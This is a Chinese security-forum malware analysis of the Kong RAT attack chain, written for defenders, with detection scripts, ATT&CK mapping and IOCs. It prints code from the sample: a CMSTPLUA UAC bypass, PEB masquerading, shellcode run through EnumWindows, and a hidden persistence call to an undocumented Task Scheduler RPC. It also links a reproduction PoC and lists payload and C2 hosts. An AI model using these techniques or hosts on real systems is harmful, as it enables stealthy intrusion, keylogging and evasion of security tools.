[原创]一个完全隐形的持久化机制--Kong RAT 多阶段攻击链逆向分析-逆向工程-看雪安全社区

# 一个完全隐形的持久化机制--Kong RAT 多阶段攻击链逆向分析

## 0x00 起因

最近在分析一批样本时，我遇到了一个极为棘手的问题：**目标进程每次重启后都会自动启动，但我找不到它的自启动方式。经过完整分析，样本中有关信息透露了该样本开发者大概率经常混迹于吾爱破解论坛。**

**经过测试，x绒、数字等杀软都无法检测到该驻留项，或许有许多中毒终端正在使用此种方式进行自启而完全不被发现**

我把所有常规排查手段过了一遍：

| 排查方法 | 结果 | 原因 |
|----------|------|------|
| `schtasks /query` | 未找到 | 依赖 TaskCache\Tree 注册表枚举 |
| `Get-ScheduledTask` | 未找到 | 底层同样走 ITaskService COM 接口 |
| Task Scheduler MMC | 不可见 | 同上 |
| `C:\Windows\System32\Tasks\` 目录 | 无对应 XML | 任务未写入文件系统 |
| TaskCache\Tree 注册表 | 无条目 | NdrClientCall3 绕过了 Tree 注册 |
| TaskCache\Tasks GUID 枚举 | 无 `{e0bff96f...}` | 任务未写入 Tasks 子键 |
| TaskCache\Plain/Logon/Boot 分类 | 无匹配 GUID | 不存在分类注册 |
| Run/RunOnce 注册表 | 干净 | 未使用此机制 |
| Startup 文件夹 | 干净 | 未使用此机制 |
| WMI 事件订阅 | 仅系统默认 | 未使用此机制 |
| Windows 服务 | 无恶意服务 | 未使用此机制 |
| IFEO 调试器劫持 | 干净 | 未使用此机制 |
| Winlogon Shell/Userinit | 正常值 | 未使用此机制 |
| COM 劫持 (HKCU CLSID) | 仅 OneDrive | 未使用此机制 |
| AppInit_DLLs | 空/禁用 | 未使用此机制 |
| LSA/Print/Network Provider | 干净 | 未使用此机制 |
| autoruns | 干净 | 以上机制全部绕过，aoturuns致盲 |

**全部阴性。** 但进程就是每次登录后自动启动。

通过对样本进行深度逆向分析，最终定位到它使用了 **Windows 10 引入的 WP TaskScheduler 并行调度子系统** 进行隐蔽持久化——一个没有公开文档、没有标准 API、所有安全工具都不覆盖的"影子调度系统"。

> **声明：** 本次实际捕获的样本(9e57b1c22c5b66028b98e85704981de7)经过更强的混淆处理，无法直接进行完整的静态逆向分析。但通过动态行为分析，确认其 TTP 与 eSentire 于 2026年4月发布的 Kong RAT 报告完全一致。因此本文以 eSentire 关联的轻混淆样本为例进行全流程分析与复现，持久化机制部分（WP TaskScheduler）为本次独立发现。

本文将从攻击链全貌到持久化机制细节，完整还原这个样本的行为。
---

## 0x01 成果展示

该样本（Kong RAT）的持久化数据存储在：

```
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\WP\TaskScheduler\Schedules\{GUID}
```

这是一个与传统 TaskCache **完全并行**的调度子系统，由 `WPTaskScheduler.dll` 模块提供：

| 特征 | 说明 |
|------|------|
| 存储位置 | `HKLM\...\Schedule\WP\TaskScheduler\Schedules\{GUID}` |
| 数据格式 | REG_BINARY（UTF-16 编码的二进制结构） |
| COM 接口 | 不暴露给 ITaskService |
| 标准工具可见性 | schtasks / Get-ScheduledTask / MMC / Autoruns **全部不可见** |
| XML 文件 | 不生成 |
| 公开文档 | **无** |

**复现PoC 已开源**

---

## 0x02 样本概况

| 项目 | 值 |
|------|------|
| 家族 | Kong RAT |
| 投递方式 | SEO 投毒（伪装 FinalShell / Xshell / QuickQ VPN / Clash / DeepSeek部署 下载站） |
| 目标 | 中文开发者群体 |
| 编译技术 | .NET 10 NativeAOT（对抗 dnSpy/ILSpy） |
| C2 协议 | TCP 自定义二进制（MPK1 magic + LZ4 压缩） |
| C2 地址 | x.x-x.icu:5947 (Antbox Networks HK) |
| 关联报告 | <a href="elink@561K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2M7$3g2F1N6r3W2J5k6g2)9J5k6h3y4G2L8g2)9J5c8X3u0D9L8$3N6Q4x3V1k6E0N6h3I4@1K9g2)9J5k6s2y4@1j5h3N6W2i4K6u0V1M7$3g2G2i4K6u0V1M7r3!0A6M7$3!0F1K9h3&6Y4i4K6u0V1j5$3q4E0M7r3q4A6k6$3&6Q4x3X3c8@1j5i4u0Y4k6i4c8K6i4K6u0V1j5$3S2A6L8X3g2K6k6g2)9J5k6s2y4H3k6h3q4C8K9h3&6Y4i4K6u0V1k6r3g2$3k6h3I4G2M7r3g2J5M7#2)9J5k6s2N6A6N6r3S2Q4x3X3c8C8L8$3&6Y4i4K6u0V1M7X3q4@1">eSentire - Multi-Stage SEO Poisoning Campaign</a> |

**攻击链**: SEO Poisoning -> NativeAOT Dropper -> 内存 DLL 编排器 -> DLL Sideloading -> Shellcode Loader -> Kong RAT
---

## 0x03 Stage 1 -- Setup.exe (NativeAOT Dropper)

| 属性 | 值 |
|------|------|
| SHA256 | D6620D753E746E63B59E1E47943BE5093F24FD3F82E994115CADEEA3720F1AEA |
| 编译器 | .NET 10.0 NativeAOT |
| PDB | C:\Users\52pojie\Desktop\bin\bin\Release\net10.0\win-x64\native\APP3.pdb |
| 函数数量 | 16,306 |

### 执行流程

1. **权限检查**: CheckTokenMembership 检查 BUILTIN\Administrators (S-1-5-32-544)
2. **UAC 提权**: 动态逐字符构造 "runas" 字符串（r=0x72, u=0x75, n=0x6E, a=0x61, s=0x73），通过 ShellExecute 触发 UAC 弹窗
3. **Payload 下载**: HTTP GET `kkwinapp.oss-cn-hongkong.aliyuncs.com/dow/zj.mp4`（.mp4 扩展名伪装）
4. **反射 PE 加载**: 验证 MZ/PE 签名 -> 内存映射 sections -> 处理重定位 -> 解析导入表
5. **执行**: 通过自实现 MemoryGetProcAddress 查找 "run" 导出函数并调用

### 反检测技术

- NativeAOT 编译：16306 个运行时函数混入，dnSpy/ILSpy 完全无效
- "runas" 逐字符构造：避免静态签名匹配
- .mp4 扩展名伪装：绕过文件类型过滤和 DLP 策略
- 无文件攻击：DLL 仅在内存中加载，不落盘

---

## 0x04 Stage 2 -- zj.mp4 (内存 DLL 编排器)

| 属性 | 值 |
|------|------|
| SHA256 | 3A1DD72DD2DEC21D18B8FCD72D221F069FED2D35C2BF4CDF042C9AE722D6C820 |
| 入口 | 导出函数 run -> run_0 |
| 关键导入 | URLOpenBlockingStreamA, NdrClientCall3, CreateToolhelp32Snapshot |

### 执行流程

**文件下载与部署：**

| 下载 URL | 保存为 | 用途 |
|----------|--------|------|
| /dow/1.1x1 | Setupexe.exe | 合法签名 EXE (Microsoft rc.exe) |
| /dow/1.d11 | rcdll.dll | Shellcode Loader DLL |
| /dow/zj.bin | oob.xml | Shellcode + Kong RAT |
| /dow/msvcr100.dll | msvcr100.dll | 运行时依赖 |

安装路径: `%LOCALAPPDATA%\Programs\Bvasted\`，下载后设置 HIDDEN|SYSTEM 属性。

**进程枚举与 Telegram 操控：**
- CreateToolhelp32Snapshot 枚举进程，搜索 Telegram.exe
- 条件触发（配置字节控制）: `tg://setlanguage/?lang=classic-zh-cn`

**C2 安装遥测：**
- PathInit / AddTask / CreateAndExecuteTask Status 三次 GET 请求上报

**持久化 -- NdrClientCall3 RPC 计划任务：**

```c
CoCreateGuid(&taskGuid);
// 任务名: "SimpleActivityScheduleTimer_" + GUID
NdrClientCall3(&pProxyInfo, 0, 0, Binding, &taskGuid, 1);
```
---

## 0x05 Stage 3 -- rcdll.dll (Shellcode Loader)

| 属性 | 值 |
|------|------|
| SHA256 | 2B7D31A83FF817BE7BDD6E9CF92DEA438CA97DC93EA84CBF048F8656F7DD57DD |
| 编译时间 | 2026-03-21 |
| 伪装 | VirtualBox Runtime DLL (188个 RT* 导出) |
| 加载方式 | DLL Sideloading via Microsoft rc.exe |

### 执行流程

**DLL 入口 + QueueUserAPC 延迟执行：**

```c
if (fdwReason == DLL_PROCESS_ATTACH) {
    FreeConsole();                          // 隐藏控制台
    QueueUserAPC(pfnAPC, GetCurrentThread(), 0);  // 延迟到 alertable wait
}
```

**pfnAPC 核心逻辑：**

```c
// 1. 权限检查
GetTokenInformation(hToken, TokenElevation, ...);

if (!elevation) {
    // 未提权 -> COM UAC Bypass
    sub_180001410(exePath);
    ExitProcess(0);
}

// 2. 已提权 -> 搜索并执行 shellcode
FindFirstFileA("*.xml", &findData);  // 定位 oob.xml
fread(buffer, 1, sz, f);

// 3. Shellcode 执行
void *rwx = VirtualAlloc(0, sz, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(rwx, buffer, sz);
EnumWindows((WNDENUMPROC)rwx, 0);  // 通过回调执行 shellcode
```

**PEB 伪装 + CMSTPLUA COM UAC Bypass：**

```c
// PEB Masquerading
RtlInitUnicodeString(&peb->ProcessParameters->ImagePathName, L"C:\\windows\\explorer.exe");
LdrEnumerateLoadedModules(0, callback, peb);  // 修改模块列表

// COM Elevation Moniker
CLSID cmstplua = {3E5FC7F9-9A51-4367-9063-A120244FBEC7};
CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-...}", &bindOpts, &iid, &pInterface);
pInterface->vtable[9](pInterface, selfPath, ...);  // ICMLuaUtil::ShellExec
```

### 反检测技术

- QueueUserAPC 延迟：规避 DllMain 监控
- PEB 伪装为 explorer.exe：安全产品查询进程身份被欺骗
- CMSTPLUA COM 提权：无需用户交互的静默 UAC bypass
- EnumWindows 回调执行：避免 CreateThread/CreateRemoteThread 监控
- VirtualBox RT 导出伪装：188 个合法函数名掩护
- FindFirstFileA("*.xml") 通配搜索：不硬编码文件名

---

## 0x06 Stage 4 -- oob.xml (Shellcode + 嵌入 PE)

| 属性 | 值 |
|------|------|
| SHA256 | AE160034478A340421E20DC7C8FDEE626CC3B8035D278F0A94AFAF31766EEA48 |
| 大小 | 286,441 bytes |
| 结构 | 0x0000-0x12E8: x64 shellcode / 0x12E9+: 嵌入 EXE |

### Shellcode 行为

**1. PEB Walking 获取 kernel32 基址：**

```asm
mov rax, gs:[60h]       ; PEB
mov rax, [rax+18h]      ; PEB->Ldr
mov rsi, [rax+20h]      ; InMemoryOrderModuleList
lodsq                   ; ntdll
xchg rax, rsi
lodsq                   ; kernel32
mov rdi, [rax+20h]      ; DLL base
```

**2. Caesar Cipher 栈字符串解码 (sub eax, 0x10)：**

```
编码: 57 75 84 60 82 7F 73 51 74 74 82 75 83 83 -> GetProcAddress
编码: 5C 7F 71 74 5C 79 72 82 71 82 89 51       -> LoadLibraryA
编码: 66 79 82 84 85 71 7C 51 7C 7C 7F 73       -> VirtualAlloc
```

**3. MZ 签名前向扫描 (0x9C4000 范围)：**
- 搜索 `4D 5A 90 00 03 00` 定位嵌入 PE
- 嵌入 PE 实际位于偏移 0x12E9

**4. 内存 PE 加载器：**
- 解析 Optional Header -> VirtualAlloc -> 复制 Sections -> 解析 IAT -> 基址重定位 -> 跳转 EntryPoint
---

## 0x07 Stage 5 -- Kong RAT (远程控制模块)

| 属性 | 值 |
|------|------|
| SHA256 | ED68397183E72E7113C8AC4ACEDDF2051ABF55D7C62B6FA69F62CBDA11324AB8 |
| 编译时间 | 2026-03-12 |
| C2 | x.x-x.icu:5947 (TCP) |
| 函数数量 | 882 |

### 单实例 Mutex (DJB2 Hash)

```c
DWORD hash = 5381;  // DJB2 种子
// 路径转小写后逐字符哈希: hash = hash * 33 + char
// 结合进程完整性级别 XOR
hash ^= integrityLevel;
swprintf(mutex_name, L"Local\\ClientMutex_%08X", hash);
```

### 反休眠

```c
REASON_CONTEXT ctx;
ctx.Reason.SimpleReasonString = L"System Active";
HANDLE hPowerReq = PowerCreateRequest(&ctx);
PowerSetRequest(hPowerReq, PowerRequestDisplayRequired);
```

### 键盘记录器

- Kill Switch: 环境变量 `KONG_SKIP_KEYLOGGER=1` 跳过
- 实现: GetAsyncKeyState 轮询 (10ms 间隔, 100Hz)
- 日志路径: `C:\ProgramData\Kong\Keylogger\YYYY-MM-DD.txt`
- 记录格式: `[ 时间戳 ] 窗口标题 ###` + 按键内容

### C2 通信 -- MPK1 协议

```
+0x00: [4 bytes] 包长度 (little-endian)
+0x04: [4 bytes] Magic "MPK1" (4D 50 4B 31)
+0x08: [1 byte]  压缩标志 (0=raw, 1=LZ4)
+0x09: [4 bytes] 原始未压缩大小 (仅压缩时)
+0x0D: [N bytes] Payload
```

TCP 连接使用非阻塞模式 + select 等待，数据 16KB 分块发送。

### C2 命令分发器 (16 种命令)

| 命令 | 功能 | 权限 |
|------|------|------|
| T=1 | 存储 ConnectionId | 无 |
| T=2 | 写入 NOTE/GROUP 标签 | 提权 |
| T=5,C=0 | XOR 解密 DLL 持久化到注册表 | - |
| T=5,C=1 | XOR 解密 DLL 写入 System32 加载 | - |
| T=11 | NtShutdownSystem(1) 远程重启 | 提权 |
| T=12 | ExitWindowsEx 强制重启 | 提权 |
| T=13 | 进程退出 | 非提权 |
| T=14 | 删除 Kong 注册表 + 自毁 | 非提权 |
| T=15 | 迁移到新 C2 | 提权 |
| T=16 | 更新会话过期时间 | 提权 |
| T=19 | URLDownloadToFile + 执行 + 删除 | 提权 |
| T=20 | cmd.exe /c 远程命令执行 | 提权 |
| T=21 | 写入 %TEMP% 并 ShellExecute | 提权 |
| T=22 | 验证 MZ/PE + 写入 System32 + LoadLibrary | 提权 |
| T=26 | 清理过期会话 | 非提权 |
| T=27 | 心跳确认（MT19937 抖动 3475-4999ms） | 无 |

### 注册表持久化

```
HKCU\Software\Kong\Client\ClientVersion  -- 版本信息
HKCU\Software\Kong\Client\Login\Temp      -- 临时会话
HKCU\Software\Kong\Client\Login\Permanent -- 持久会话
HKCU\Software\Kong\Client\Plugins         -- 远程模块
```

数据使用 XOR 加密后以 REG_BINARY 存储。
---

## 0x08 隐蔽持久化机制深度分析 -- WP TaskScheduler

这是本文的核心发现。Kong RAT 的持久化不走传统 TaskCache 体系，而是利用了一个鲜为人知的并行调度子系统。

### 正常计划任务 vs Kong RAT

**正常流程：**
```
应用程序 -> ITaskService COM -> Task Scheduler RPC -> Schedule 服务
    |-- 写入 TaskCache\Tree（任务名映射）
    |-- 写入 TaskCache\Tasks\{GUID}（任务定义）
    |-- 写入 TaskCache\Plain|Logon|Boot（触发分类）
    +-- 写入 System32\Tasks\<name>.xml（文件备份）
```

**Kong RAT：**
```
恶意代码 -> NdrClientCall3 -> WPTaskScheduler RPC endpoint
    |-- [x] 不写 TaskCache\Tree
    |-- [x] 不写 TaskCache\Tasks
    |-- [x] 不写 分类键
    |-- [x] 不写 XML 文件
    +-- [o] 写入 WP\TaskScheduler\Schedules\{GUID}（REG_BINARY）
```

### WP TaskScheduler 子系统

Windows 10 RTM（2015年7月）引入，加载链路：

```
schedsvc.dll -> ServiceMain() -> JobsService::Initialize()
  -> JobsService::InitializeWPTS() -> LoadLibrary("WPTaskScheduler.dll")
```

特征：
- 独立于传统 TaskCache 体系
- 没有公开 API 文档
- 没有 COM 接口暴露
- schtasks / Get-ScheduledTask / MMC / Autoruns 全部不覆盖
- 由 Schedule 服务内部的 WPTaskScheduler.dll 独立管理

### RPC 调用细节

- Interface GUID: `{33D84484-3626-47EE-8C6F-E7E98B113BE1}` v2.0
- 传输协议: ncalrpc（本地 ALPC 管道）
- 方法: proc 0 (CreateAndExecuteTask)
- 参数: binding handle, GUID, 任务名, exe路径, 命令行参数
- ProcFormatString: 从样本提取的 48 字节私有格式（无公开 IDL 定义）

### 持久化数据结构

存储路径：
```
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\WP\TaskScheduler\Schedules\{7FCC0EA0-3CBB-43EA-B230-1A0E2C1A4E6C}
```

| 值名称 | 用途 |
|--------|------|
| Schedule | 任务名 + exe 路径 + 触发类型（REG_BINARY） |
| RuntimeData | 运行用户 SID（REG_BINARY） |
| Statistics | 执行统计（REG_BINARY） |

解码结果：
```
任务名称: SimpleActivityScheduleTimer_{7FCC0EA0-3CBB-43EA-B230-1A0E2C1A4E6C}
执行路径: C:\Users\Tom\AppData\Local\Programs\Bvaste\Setupexe.exe
触发类型: 用户登录触发
```

### 为什么注册表搜索也找不到？

数据以 UTF-16 编码存储在 REG_BINARY 值中。regedit "查找"和 `reg query /s /f` 只搜索 REG_SZ 明文字符串，不解码二进制内容。

### 技术演进脉络

| 时间 | 技术 | 特点 |
|------|------|------|
| 2022.04 | Tarrask (微软披露Silk Typhoon) | 正常创建任务后删除 SD 值隐藏 |
| 2022.05 | WithSecure 研究 | 分析最小条件下的任务创建 |
| 2025-2026 | Kong RAT | 直接走 WP 子系统，连 TaskCache 都不碰 |

Tarrask 是"事后删痕迹"，Kong RAT 是"一开始就不留痕迹"。
---

## 0x09 完整启动链还原

通过启用 Security Event 4688 + TaskScheduler/Operational 日志，重启后捕获：

```
[用户登录触发]
svchost.exe (-k netsvcs -p -s Schedule, SYSTEM)
  |  WPTaskScheduler.dll 读取 Schedules 注册表
  v
Setupexe.exe (受限令牌 Type 3)
  |  检测到未提权，触发 UAC bypass
  v
dllhost.exe (CMSTPLUA COM 提权, PEB 伪装 explorer.exe)
  v
Setupexe.exe (完全令牌 Type 1, 已提权)
  |  rc.exe 加载 rcdll.dll (DLL Sideloading)
  v
rcdll.dll -> QueueUserAPC -> FindFirstFile("*.xml") -> 读取 oob.xml
  v
VirtualAlloc(RWX) + EnumWindows(shellcode)
  v
Shellcode: PEB Walk -> Caesar 解码 API -> 定位嵌入 PE -> 内存加载
  v
Kong RAT: Mutex -> 反休眠 -> 键盘记录 -> TCP C2 (MPK1)
```

---

## 0x0A 攻击链流程图

```
[受害者搜索 FinalShell/Xshell/QuickQ/Clash]
         |
         v
[SEO 投毒 -> 仿冒站点 finalshell-ssh.com / xshell-cn.com]
         |
         v
[下载 Setup.exe (NativeAOT, 16306 函数)]
         |
    [CheckTokenMembership]
    /                    \
非管理员              管理员
ShellExecute("runas")    |
UAC 弹窗                 |
    \                    /
         |
         v
[HTTP GET -> aliyuncs.com/dow/zj.mp4 (.mp4 伪装)]
         |
         v
[反射 PE 加载 -> 调用 "run" 导出]
         |
         v
[run_0: 下载 3 文件 + NdrClientCall3 创建 WP 计划任务]
         |
         v (用户登录触发)
[rc.exe -> rcdll.dll Sideloading]
         |
    [TokenElevation]
    /                \
未提权             已提权
PEB+CMSTPLUA        |
静默提权             |
    \                /
         |
         v
[FindFirstFile("*.xml") -> VirtualAlloc(RWX) -> EnumWindows]
         |
         v
[Shellcode: PEB Walk + Caesar + MZ Scan -> 内存加载 Kong RAT]
         |
         v
[Kong RAT 激活]
  |-- DJB2 Mutex (单实例)
  |-- PowerSetRequest (反休眠)
  |-- 键盘记录 -> C:\ProgramData\Kong\Keylogger\
  +-- TCP x.x-x.icu:5947 (MPK1 + LZ4, 16种命令)
```

---

## 0x0B 检测与排查建议

### WP TaskScheduler 注册表扫描

```powershell
$wpKey = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\WP\TaskScheduler\Schedules"
if (Test-Path $wpKey) {
    Get-ChildItem $wpKey | ForEach-Object {
        $schedule = (Get-ItemProperty $_.PSPath -Name Schedule -EA 0).Schedule
        if ($schedule) {
            $uni = [System.Text.Encoding]::Unicode.GetString($schedule)
            $exe = if ($uni -match "([A-Z]:\\[^\x00]+\.exe)") { $Matches[1] } else { "unknown" }
            Write-Output "[!] WP Task: $($_.PSChildName) -> $exe"
        }
    }
} else { Write-Output "[*] Clean" }
```

### 隐藏任务对比检测

```powershell
$executed = Get-WinEvent -LogName "Microsoft-Windows-TaskScheduler/Operational" -MaxEvents 1000 |
    Where-Object { $_.Id -eq 100 } |
    ForEach-Object { if ($_.Message -match '"(.+?)"') { $Matches[1] } } |
    Sort-Object -Unique
$enumerated = Get-ScheduledTask | ForEach-Object { $_.TaskPath + $_.TaskName }
$hidden = $executed | Where-Object { $_ -notin $enumerated }
if ($hidden) { "[!] Hidden tasks:"; $hidden }
```

---

## 0x0C MITRE ATT&CK 映射

| 技术 ID | 名称 | 实现位置 |
|---------|------|----------|
| T1189 | Drive-by Compromise | SEO 投毒仿冒站 |
| T1204.002 | User Execution: Malicious File | 用户运行 Setup.exe |
| T1548.002 | Bypass UAC: COM Elevation | rcdll.dll CMSTPLUA |
| T1574.002 | DLL Side-Loading | rc.exe 加载 rcdll.dll |
| T1055.004 | APC Injection | QueueUserAPC |
| T1055 | Reflective PE Loading | Setup.exe 加载 zj.mp4 |
| T1027 | Obfuscated Files | Caesar Cipher 栈字符串 |
| T1140 | Deobfuscate/Decode | sub eax, 0x10 解码 |
| T1036.005 | Match Legitimate Name | Setupexe.exe = rc.exe |
| T1036.008 | Masquerade File Type | zj.mp4 实为 DLL |
| T1106 | Native API | NtShutdownSystem, NdrClientCall3 |
| T1112 | Modify Registry | HKCU\Software\Kong\* |
| T1547.005 | Scheduled Task | WP TaskScheduler 隐蔽注册 |
| T1056.001 | Keylogging | GetAsyncKeyState 轮询 |
| T1057 | Process Discovery | CreateToolhelp32Snapshot |
| T1095 | Non-App Layer Protocol | TCP MPK1 自定义协议 |
| T1573 | Encrypted Channel | LZ4 压缩 + XOR |
| T1529 | System Shutdown/Reboot | Cmd 11/12 |

---

## 0x0D IOC

### 网络

```
hxxps://kkwinapp.oss-cn-hongkong.aliyuncs.com/dow/  (Payload 托管)
hxxps://g3.letv.com/r?format=1                      (IP 探测)
x.x-x.icu:5947                                       (Kong RAT C2)
45.192.208.126                                       (Antbox Networks HK)

仿冒域名:
finalshell-ssh.com, xshell-cn.com, quickq-cn.com,
clash-cn.com, letsv-vpn.com, xshell-38m.pages.dev
```

### 文件

```
%LOCALAPPDATA%\Programs\Bvaste[d]\Setupexe.exe
%LOCALAPPDATA%\Programs\Bvaste[d]\rcdll.dll
%LOCALAPPDATA%\Programs\Bvaste[d]\oob.xml
C:\ProgramData\Kong\Keylogger\YYYY-MM-DD.txt

SHA256:
Setup.exe:    D6620D753E746E63B59E1E47943BE5093F24FD3F82E994115CADEEA3720F1AEA
zj.mp4:       3A1DD72DD2DEC21D18B8FCD72D221F069FED2D35C2BF4CDF042C9AE722D6C820
Setupexe.exe: 736B2C5782FCA75A85379181BCF1D3A719A14CACD938D053C03B16041059DD8F
rcdll.dll:    2B7D31A83FF817BE7BDD6E9CF92DEA438CA97DC93EA84CBF048F8656F7DD57DD
oob.xml:      AE160034478A340421E20DC7C8FDEE626CC3B8035D278F0A94AFAF31766EEA48
Kong RAT:     ED68397183E72E7113C8AC4ACEDDF2051ABF55D7C62B6FA69F62CBDA11324AB8
```

### 注册表

```
HKCU\Software\Kong\
HKCU\Software\Kong\Client\ClientVersion
HKCU\Software\Kong\Client\Login\Temp
HKCU\Software\Kong\Client\Login\Permanent
HKCU\Software\Kong\Client\Plugins
HKLM\...\Schedule\WP\TaskScheduler\Schedules\{GUID}
```

### 进程特征

```
计划任务名: SimpleActivityScheduleTimer_{GUID}
Mutex: Local\ClientMutex_{DJB2_HASH}
环境变量: KONG_SKIP_KEYLOGGER (开发者 Kill Switch)
```

---

## 0x0E 总结

1. Kong RAT 使用了 Windows 10 的 **WP TaskScheduler 并行调度子系统**实现持久化，该子系统没有公开文档、没有标准 API，所有安全工具均不覆盖
2. 攻击链涵盖 5 个阶段，每个阶段都有针对性的反检测设计：NativeAOT 对抗逆向、PEB 伪装骗过安全产品、EnumWindows 回调执行避开行为监控、CMSTPLUA 静默提权
3. 通过 NdrClientCall3 直接调用 WPTaskScheduler 的私有 RPC 接口注册任务，完全绕过传统 TaskCache 体系
4. 防御者应立即将该注册表路径加入持久化排查清单

**完整 PoC ：** <a href="elink@250K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1$3S2S2k6r3!0%4f1$3y4Z5k6h3c8#2L8r3g2J5">ShadowScheduler</a>

---

## References

- <a href="elink@c89K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2M7$3g2F1N6r3W2J5k6g2)9J5k6h3y4G2L8g2)9J5c8X3u0D9L8$3N6Q4x3V1k6E0N6h3I4@1K9g2)9J5k6s2y4@1j5h3N6W2i4K6u0V1M7$3g2G2i4K6u0V1M7r3!0A6M7$3!0F1K9h3&6Y4i4K6u0V1j5$3q4E0M7r3q4A6k6$3&6Q4x3X3c8@1j5i4u0Y4k6i4c8K6i4K6u0V1j5$3S2A6L8X3g2K6k6g2)9J5k6s2y4H3k6h3q4C8K9h3&6Y4i4K6u0V1k6r3g2$3k6h3I4G2M7r3g2J5M7#2)9J5k6s2N6A6N6r3S2Q4x3X3c8C8L8$3&6Y4i4K6u0V1M7X3q4@1">eSentire - Multi-Stage SEO Poisoning Campaign Targets Chinese-Speaking Developers with Kong RAT</a>
- <a href="elink@c83K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6W2L8W2)9J5k6s2g2K6i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5x3W2)9J5c8U0l9@1i4K6u0r3x3e0u0Q4x3V1k6@1j5i4u0J5j5i4y4C8i4K6u0V1L8h3q4D9N6$3q4J5k6g2)9J5k6s2g2K6k6i4y4Q4x3X3c8K6j5$3S2W2k6s2g2D9k6h3c8Q4x3X3c8@1j5i4y4C8M7#2)9J5k6r3k6G2M7W2)9J5k6r3c8W2k6X3g2F1M7$3g2Q4x3X3c8W2N6X3q4K6K9h3!0F1i4K6u0r3">Microsoft - Tarrask malware uses scheduled tasks for defense evasion (2022)</a>
- <a href="elink@c15K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2x3e0u0V1y4o6l9@1i4K6u0W2L8X3g2@1i4K6u0r3N6$3W2F1k6r3!0%4M7#2)9J5c8U0t1H3x3e0W2Q4x3V1j5I4x3q4)9J5c8U0x3H3i4K6u0r3M7$3y4Z5k6h3c8K6N6X3y4Q4x3X3c8H3k6i4u0K6K9i4y4@1k6h3&6U0k6g2)9J5k6h3S2@1L8h3H3`.">marpie - Persistence using Task Scheduler without a Scheduled Task (2019)</a>
- <a href="elink@bf8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9j5h3u0K6i4K6u0W2N6$3W2@1K9s2y4W2j5%4g2J5k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8#2j5X3I4A6j5$3q4@1K9h3!0F1M7#2)9J5c8Y4y4U0K9r3g2V1N6h3I4W2k6q4)9J5k6s2c8S2M7$3E0Q4x3X3c8@1j5h3#2H3k6i4u0A6L8X3M7`.">WithSecure - Scheduled Task Tampering (2022)</a>

回复或点赞可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最后于 2026-6-8 11:31 被Sh2ns1e编辑，原因：

#病毒木马 #调试逆向

最新回复 (26) 1 2 ▶
xingbing 雪币： 158 活跃值： (5786) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 1400 粉丝 2 关注私信	xingbing 2 楼学习！ 2026-6-8 17:19 0
XCicada 雪币： 3103 活跃值： (2705) 能力值： ( LV6，RANK：80 ) 在线值：发帖 3 回帖 324 粉丝 101 关注私信	XCicada 2 3 楼学习 2026-6-8 17:29 1
Olii 雪币： 45 活跃值： (4391) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 33 粉丝 1 关注私信	Olii 4 楼学习 2026-6-9 16:13 0
fengyunabc 雪币： 5404 活跃值： (6227) 能力值： ( LV4，RANK：50 ) 在线值：发帖 11 回帖 634 粉丝 27 关注私信	fengyunabc 1 5 楼感谢分享。 2026-6-9 16:58 0
夏洛魂雪币： 570 活跃值： (4780) 能力值： ( LV3，RANK：37 ) 在线值：发帖 2 回帖 48 粉丝 0 关注私信	夏洛魂 6 楼感谢分享 2026-6-9 18:19 0
tmflxw 雪币： 3466 活跃值： (6052) 能力值： ( LV2，RANK：10 ) 在线值：发帖 20 回帖 123 粉丝 22 关注私信	tmflxw 7 楼大佬以后有这种好东西，悄悄告诉我，公开了就没法用啦 2026-6-10 02:05 0
LoginUser 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 48 粉丝 0 关注私信	LoginUser 8 楼感谢分享 2026-6-12 09:51 0
adhuc 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 5 粉丝 0 关注私信	adhuc 9 楼 6+66666666666 2026-6-12 14:47 0
mb_tjrbrihv 雪币： 120 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	mb_tjrbrihv 10 楼感谢分享 2026-6-12 17:28 0
mb_iunhvspv 雪币： 2845 活跃值： (3138) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 44 粉丝 0 关注私信	mb_iunhvspv 11 楼可以的，很强 2026-6-12 17:39 0
mb_ppqrapka 雪币： 2 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 17 粉丝 1 关注私信	mb_ppqrapka 12 楼强 2026-6-12 18:51 0
mb_urzqsoer 雪币： 206 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 121 粉丝 0 关注私信	mb_urzqsoer 13 楼可以滴 2026-6-15 01:20 1
BlackTrace 雪币： 1239 活跃值： (723) 能力值： ( LV5，RANK：75 ) 在线值：发帖 4 回帖 163 粉丝 0 关注私信	BlackTrace 14 楼 6666 2026-7-2 15:43 0
孤独灬剑客雪币： 196 活跃值： (849) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 15 粉丝 1 关注私信	孤独灬剑客 15 楼 666666，强 2026-7-3 23:24 0
